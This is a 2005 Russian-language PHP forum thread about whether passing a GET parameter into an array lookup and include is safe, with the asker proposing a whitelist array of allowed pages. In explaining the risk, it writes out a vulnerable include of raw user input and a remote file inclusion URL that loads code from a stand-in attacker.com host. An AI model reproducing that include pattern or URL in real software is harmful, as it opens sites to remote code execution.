Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Вопрос безопасности

365
17 августа 2005 года
MasterSID
230 / / 23.02.2003
Несет ли в себе такой метод потенциальную дыру в безопасности:
index.php?page=test

$a['test']='test';
echo $a[$_GET['page']];
338
17 августа 2005 года
chigevara
529 / / 29.09.2003
Цитата:
Originally posted by MasterSID
Несет ли в себе такой метод потенциальную дыру в безопасности:
index.php?page=test

$a['test']='test';
echo $a[$_GET['page']];


А что еще лежит в $a и о чем может знать злоумышленник?

365
17 августа 2005 года
MasterSID
230 / / 23.02.2003
секретных данных там нет, как раз наоборот. просто может тут есть какой-то подводный камень о котором я не знаю. ПРосто решил спросить
15
17 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by MasterSID
секретных данных там нет, как раз наоборот. просто может тут есть какой-то подводный камень о котором я не знаю. ПРосто решил спросить


Лучше определись с данными и фильтруй.

365
18 августа 2005 года
MasterSID
230 / / 23.02.2003
ТАк я и хочу через массив фильтровать. Например хранить в массиве список разрешенных для посещения разделов а потом тупой проверкой if($a[$page]) разрешать доступ. Вот мне и интересно, если $page будет проходить напрямую из вне без проверок - есть ли опасность?
15
18 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by MasterSID
ТАк я и хочу через массив фильтровать. Например хранить в массиве список разрешенных для посещения разделов а потом тупой проверкой if($a[$page]) разрешать доступ. Вот мне и интересно, если $page будет проходить напрямую из вне без проверок - есть ли опасность?


Если ты при этом по этой ссылке страничку инклудишь, от вставкой php кода, если просто в браузер выводишь, то JavaScript. Что за этим может последовать? Проще тебе будет на securitylab.ru, web-hack.ru и т.д. сходить, просто там это всё уже обтиралось. От себя могу добавить, только одно - не очень это хорошо.

365
18 августа 2005 года
MasterSID
230 / / 23.02.2003
я немного тебя не понял, но думаю, что ты имеешь в виду вариант, когда делается так:
site.com?page=news
include $_GET['news'].".php";

Тогда есть дыра типа site.com?page=http://www.attacker.com/attack.php

У меня же идет так:
site.com?page=news

$pages['news']='news.php';
$pages['articles']='articles.php';
...
$pages['links']='links.php';

if($pages[$_GET['page']])include $pages[$_GET['page']];

Мне кажется что тут все безопасно, н омало ли. Просто удобно, когда на сайте действует система прав доступа - легко через массив разрешать или запрещать.

Кто что про это думает?
15
18 августа 2005 года
shaelf
2.7K / / 04.05.2005
Цитата:
Originally posted by MasterSID
я немного тебя не понял, но думаю, что ты имеешь в виду вариант, когда делается так:
site.com?page=news
include $_GET['news'].".php";

Тогда есть дыра типа site.com?page=http://www.attacker.com/attack.php

У меня же идет так:
site.com?page=news

$pages['news']='news.php';
$pages['articles']='articles.php';
...
$pages['links']='links.php';

if($pages[$_GET['page']])include $pages[$_GET['page']];

Мне кажется что тут все безопасно, н омало ли. Просто удобно, когда на сайте действует система прав доступа - легко через массив разрешать или запрещать.

Кто что про это думает?


Я конечно не параноик, но всё же через элементарный strlen(), addslashes() и возможно через htmlspecialchars() пропустить не помешало бы, они быстрые, да и тебе хлопот меньше было бы. Хотел линк найти, но иконки качаються и у меня тут страничка еле еле открываеться:(. Вечером попытаюсь отетить на вопрос ссылкой с статьёй на эту тему.

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог